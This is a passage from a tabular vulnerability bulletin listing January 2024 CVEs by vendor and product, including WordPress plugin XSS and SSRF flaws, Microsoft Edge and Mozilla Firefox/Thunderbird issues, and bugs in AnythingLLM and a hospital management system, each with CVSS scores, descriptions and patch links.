Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	27-Jan-2024	4.8	The Meks Smart Social Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Meks Smart Social Widget in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. **CVE ID : CVE-2024-0664**	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3027347%40meks-smart-social-widget&new=3027347%40meks-smart-social-widget&sfp_email=&sfph_mail=	A-MEK-MEKS-140224/723
Vendor: mergentech					
Product: quality_management_system					
Affected Version(s): * Up to (excluding) 1.2					
Improper Neutralization of Special Elements	18-Jan-2024	9.8	Improper Neutralization of Special Elements used in an SQL Command ('SQL	N/A	A-MER-QUAL-140224/724

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
used in an SQL Command ('SQL Injection')			Injection') vulnerability in Mergen Software Quality Management System allows SQL Injection.This issue affects Quality Management System: before v1.2. **CVE ID : CVE-2023-5806**		
Vendor: meris_wp_theme_project					
Product: meris_wp_theme					
Affected Version(s): * Up to (including) 1.1.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	6.1	The Meris WordPress theme through 1.1.2 does not sanitise and escape some parameters before outputting them back in the page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin **CVE ID : CVE-2023-7194**	N/A	A-MER-MERI-140224/725
Vendor: metagauss					
Product: eventprime					
Affected Version(s): * Up to (excluding) 3.3.6					
N/A	22-Jan-2024	5.3	The EventPrime WordPress plugin	N/A	A-MET-EVEN-140224/726

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			before 3.3.6 lacks authentication and authorization, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id/event name. **CVE ID : CVE-2023-6447**		
Vendor: Microsoft					
Product: edge_chromium					
Affected Version(s): * Up to (excluding) 120.0.2210.160					
N/A	26-Jan-2024	5.3	Microsoft Edge for Android Spoofing Vulnerability **CVE ID : CVE-2024-21387**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21387	A-MIC-EDGE-140224/727
Affected Version(s): * Up to (excluding) 121.0.2277.83					
N/A	26-Jan-2024	9.6	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability **CVE ID : CVE-2024-21326**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21326	A-MIC-EDGE-140224/728
N/A	26-Jan-2024	8.3	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability **CVE ID : CVE-2024-21385**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21385	A-MIC-EDGE-140224/729

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	26-Jan-2024	5.3	Microsoft Edge for Android Spoofing Vulnerability **CVE ID : CVE-2024-21387**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21387	A-MIC-EDGE-140224/730
N/A	26-Jan-2024	4.3	Microsoft Edge for Android Information Disclosure Vulnerability **CVE ID : CVE-2024-21382**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21382	A-MIC-EDGE-140224/731
N/A	26-Jan-2024	3.3	Microsoft Edge (Chromium-based) Spoofing Vulnerability **CVE ID : CVE-2024-21383**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21383	A-MIC-EDGE-140224/732
N/A	26-Jan-2024	2.5	Microsoft Edge (Chromium-based) Spoofing Vulnerability **CVE ID : CVE-2024-21336**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21336	A-MIC-EDGE-140224/733
Vendor: millionclues					
Product: admin_css_mu					
Affected Version(s): * Up to (including) 2.6					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo,	N/A	A-MIL-ADMI-140224/734

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			– A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Product: custom_login_admin_front-end_css					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (including) 1.4.1					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm	N/A	A-MIL-CUST-140224/735

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: miniorange					
Product: staff_\/_employee_business_directory_for_active_directory					
Affected Version(s): * Up to (excluding) 1.2.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Staff / Employee Business Directory for Active Directory WordPress plugin before 1.2.3 does not sanitize and escape data returned from the LDAP server before rendering it in the page, allowing users who can control their entries in the LDAP directory to inject malicious javascript which could be used against high-privilege users such as a site admin. **CVE ID : CVE-2023-4757**	N/A	A-MIN-STAF-140224/736
Vendor: mintplexlabs					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: anythingllm					
Affected Version(s): * Up to (excluding) 2024-01-18					
Improper Check for Unusual or Exceptional Conditions	19-Jan-2024	7.5	AnythingLLM is an application that turns any document, resource, or piece of content into context that any LLM can use as references during chatting. In versions prior to commit `08d33cfd8` an unauthenticated API route (file export) can allow attacker to crash the server resulting in a denial of service attack. The "data-export" endpoint is used to export files using the filename parameter as user input. The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it. An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server	https://github.com/Mintplex-Labs/anything-llm/commit/08d33cfd8fc47c5052b6ea29597c964a9da641e2, https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-xmj6-g32r-fc5q	A-MIN-ANYT-140224/737

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			will crash as there is no error-handling wrapper around it. Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet. This issue has been addressed in commit `08d33cfd8`. Users are advised to upgrade. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22422**		
Product: vector_admin					
Affected Version(s): * Up to (excluding) 2024-01-23					
Improper Authentication	25-Jan-2024	4.3	Authentication bypass in vector-admin allows a user to register to a vector-admin server while "domain restriction" is active, even when not owning an	https://github.com/Mintplex-Labs/vector-admin/pull/128/commits/a581b8177dd6be719a5ef6d3ce4b1e939636bb41, https://research.jfrog.com/vulnerabilities/vec	A-MIN-VECT-140224/738

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			authorized email address. **CVE ID : CVE-2024-0879**	tor-admin-filter-bypass/	
Vendor: modernasistemas					
Product: modernanet_hospital_management_system_2024					
Affected Version(s): -					
Authorization Bypass Through User-Controlled Key	29-Jan-2024	7.5	The Moderna Sistemas ModernaNet Hospital Management System 2024 is susceptible to an Insecure Direct Object Reference (IDOR) vulnerability. This vulnerability resides in the system's handling of user data access through a /Modernanet/LAUDO/LAU0000100/Laudo?id= URI. By manipulating this id parameter, an attacker can gain access to sensitive medical information. **CVE ID : CVE-2024-23747**	N/A	A-MOD-MODE-140224/739
Vendor: monitorr					
Product: monitorr					
Affected Version(s): 1.7.6m					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Unrestricted Upload of File with Dangerous Type	19-Jan-2024	8.8	A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0713**	N/A	A-MON-MONI-140224/740
Vendor: montonio					
Product: montonio_for_woocommerce					
Affected Version(s): * Up to (including) 6.0.1					
Server-Side	19-Jan-2024	9.8	Server-Side Request Forgery	N/A	A-MON-MONT-140224/741

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Request Forgery (SSRF)			(SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: morehubbub					
Product: hubbub_lite					
Affected Version(s): * Up to (excluding) 1.32.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	4.8	The Hubbub Lite (formerly Grow Social) WordPress plugin before 1.32.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) **CVE ID : CVE-2023-7154**	N/A	A-MOR-HUBB-140224/742
Vendor: Mozilla					
Product: firefox					
Affected Version(s): * Up to (excluding) 122.0					
Out-of-bounds Write	23-Jan-2024	8.8	The WebAudio `OscillatorNode` object was susceptible to a stack buffer	https://www.mozilla.org/security/advisories/mfsa2024-01/	A-MOZ-FIRE-140224/743

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			overflow. This could have led to a potentially exploitable crash. This vulnerability affects Firefox < 122. **CVE ID : CVE-2024-0745**		
N/A	23-Jan-2024	8.8	A bug in popup notifications delay calculation could have made it possible for an attacker to trick a user into granting permissions. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0750**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/744
Improper Privilege Management	23-Jan-2024	8.8	A malicious devtools extension could have been used to escalate privileges. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0751**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/745
N/A	23-Jan-2024	8.8	Memory safety bugs present in Firefox 121, Firefox ESR 115.6, and	https://www.mozilla.org/security/advisories/mfsa2024-01/,	A-MOZ-FIRE-140224/746

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Thunderbird 115.6. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0755**	https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	
Unchecked Return Value	23-Jan-2024	7.5	An unchecked return value in TLS handshake code could have caused a potentially exploitable crash. This vulnerability affects Firefox < 122. **CVE ID : CVE-2024-0743**	https://www.mozilla.org/security/advisories/mfsa2024-01/	A-MOZ-FIRE-140224/747
Improper Restriction of Operations within the Bounds of a Memory Buffer	23-Jan-2024	7.5	In some circumstances, JIT compiled code could have dereferenced a wild pointer value. This could have led to an exploitable crash. This vulnerability affects Firefox < 122.	https://www.mozilla.org/security/advisories/mfsa2024-01/	A-MOZ-FIRE-140224/748

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0744		
Out-of-bounds Write	23-Jan-2024	6.5	An out of bounds write in ANGLE could have allowed an attacker to corrupt memory leading to a potentially exploitable crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0741**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/749
N/A	23-Jan-2024	6.5	A Linux user opening the print preview dialog could have caused the browser to crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0746**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/750
N/A	23-Jan-2024	6.5	When a parent page loaded a child in an iframe with `unsafe-inline`, the parent Content Security Policy could have overridden the child Content Security Policy.	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/secur	A-MOZ-FIRE-140224/751

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0747**	ity/advisories/mfsa2024-04/	
Use After Free	23-Jan-2024	6.5	A use-after-free crash could have occurred on macOS if a Firefox update were being applied on a very busy system. This could have resulted in an exploitable crash. This vulnerability affects Firefox < 122. **CVE ID : CVE-2024-0752**	https://www.mozilla.org/security/advisories/mfsa2024-01/	A-MOZ-FIRE-140224/752
N/A	23-Jan-2024	6.5	In specific HSTS configurations an attacker could have bypassed HSTS on a subdomain. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0753**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/753
N/A	23-Jan-2024	6.5	Some WASM source files could have caused a crash when loaded in devtools. This vulnerability	https://www.mozilla.org/security/advisories/mfsa2024-01/	A-MOZ-FIRE-140224/754

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects Firefox < 122. **CVE ID : CVE-2024-0754**		
N/A	23-Jan-2024	4.3	It was possible for certain browser prompts and dialogs to be activated or dismissed unintentionally by the user due to an incorrect timestamp used to prevent input after page load. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0742**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/755
N/A	23-Jan-2024	4.3	A compromised content process could have updated the document URI. This could have allowed an attacker to set an arbitrary URI in the address bar or history. This vulnerability affects Firefox < 122. **CVE ID : CVE-2024-0748**	https://www.mozilla.org/security/advisories/mfsa2024-01/	A-MOZ-FIRE-140224/756
Origin Validation Error	23-Jan-2024	4.3	A phishing site could have repurposed an `about:` dialog to	https://www.mozilla.org/security/advisories/mfsa2024-01/,	A-MOZ-FIRE-140224/757

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			show phishing content with an incorrect origin in the address bar. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0749**	https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	
Product: firefox_esr					
Affected Version(s): * Up to (excluding) 115.7					
N/A	23-Jan-2024	8.8	A bug in popup notifications delay calculation could have made it possible for an attacker to trick a user into granting permissions. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0750**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/758
Improper Privilege Management	23-Jan-2024	8.8	A malicious devtools extension could have been used to escalate privileges. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/759

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0751		
N/A	23-Jan-2024	8.8	Memory safety bugs present in Firefox 121, Firefox ESR 115.6, and Thunderbird 115.6. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0755**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/760
Out-of-bounds Write	23-Jan-2024	6.5	An out of bounds write in ANGLE could have allowed an attacker to corrupt memory leading to a potentially exploitable crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0741**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/761
N/A	23-Jan-2024	6.5	A Linux user opening the print	https://www.mozilla.org/secur	A-MOZ-FIRE-140224/762

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			preview dialog could have caused the browser to crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0746**	ity/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	
N/A	23-Jan-2024	6.5	When a parent page loaded a child in an iframe with `unsafe-inline`, the parent Content Security Policy could have overridden the child Content Security Policy. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0747**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/763
N/A	23-Jan-2024	6.5	In specific HSTS configurations an attacker could have bypassed HSTS on a subdomain. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/764

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0753		
N/A	23-Jan-2024	4.3	It was possible for certain browser prompts and dialogs to be activated or dismissed unintentionally by the user due to an incorrect timestamp used to prevent input after page load. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0742**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/765
Origin Validation Error	23-Jan-2024	4.3	A phishing site could have repurposed an `about:` dialog to show phishing content with an incorrect origin in the address bar. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0749**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-FIRE-140224/766
Product: firefox_focus					
Affected Version(s): * Up to (excluding) 122.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	22-Jan-2024	7.5	Using a javascript: URI with a setTimeout race condition, an attacker can execute unauthorized scripts on top origin sites in urlbar. This bypasses security measures, potentially leading to arbitrary code execution or unauthorized actions within the user's loaded webpage. This vulnerability affects Focus for iOS < 122. **CVE ID : CVE-2024-0605**	https://www.mozilla.org/security/advisories/mfsa2024-03/	A-MOZ-FIRE-140224/767
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	6.1	An attacker could execute unauthorized script on a legitimate site through UXSS using window.open() by opening a javascript URI leading to unauthorized actions within the user's loaded webpage. This vulnerability affects Focus for iOS < 122.	https://www.mozilla.org/security/advisories/mfsa2024-03/	A-MOZ-FIRE-140224/768

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0606		
Product: thunderbird					
Affected Version(s): * Up to (excluding) 115.7					
Improper Privilege Management	23-Jan-2024	8.8	A malicious devtools extension could have been used to escalate privileges. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0751**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/769
N/A	23-Jan-2024	8.8	Memory safety bugs present in Firefox 121, Firefox ESR 115.6, and Thunderbird 115.6. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0755**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/770

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	23-Jan-2024	6.5	An out of bounds write in ANGLE could have allowed an attacker to corrupt memory leading to a potentially exploitable crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0741**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/771
N/A	23-Jan-2024	6.5	A Linux user opening the print preview dialog could have caused the browser to crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0746**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/772
N/A	23-Jan-2024	6.5	When a parent page loaded a child in an iframe with `unsafe-inline`, the parent Content Security Policy could have overridden the child Content Security Policy. This vulnerability affects Firefox < 122, Firefox ESR <	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/773

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0747**		
N/A	23-Jan-2024	6.5	In specific HSTS configurations an attacker could have bypassed HSTS on a subdomain. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0753**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/774
N/A	23-Jan-2024	4.3	It was possible for certain browser prompts and dialogs to be activated or dismissed unintentionally by the user due to an incorrect timestamp used to prevent input after page load. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0742**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/775
Origin Validation Error	23-Jan-2024	4.3	A phishing site could have repurposed an `about:` dialog to	https://www.mozilla.org/security/advisories/mfsa2024-01/,	A-MOZ-THUN-140224/776

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			show phishing content with an incorrect origin in the address bar. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0749**	https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	
Affected Version(s): * Up to (including) 115.7					
N/A	23-Jan-2024	8.8	A bug in popup notifications delay calculation could have made it possible for an attacker to trick a user into granting permissions. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0750**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	A-MOZ-THUN-140224/777
Vendor: multisigwallet_project					
Product: multisigwallet					
Affected Version(s): -					
N/A	19-Jan-2024	7.5	MultiSigWallet 0xF0C99 was discovered to contain a reentrancy vulnerability via the function executeTransaction.	N/A	A-MUL-MULT-140224/778

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-47033		
Vendor: myeventon					
Product: eventon					
Affected Version(s): * Up to (excluding) 2.2					
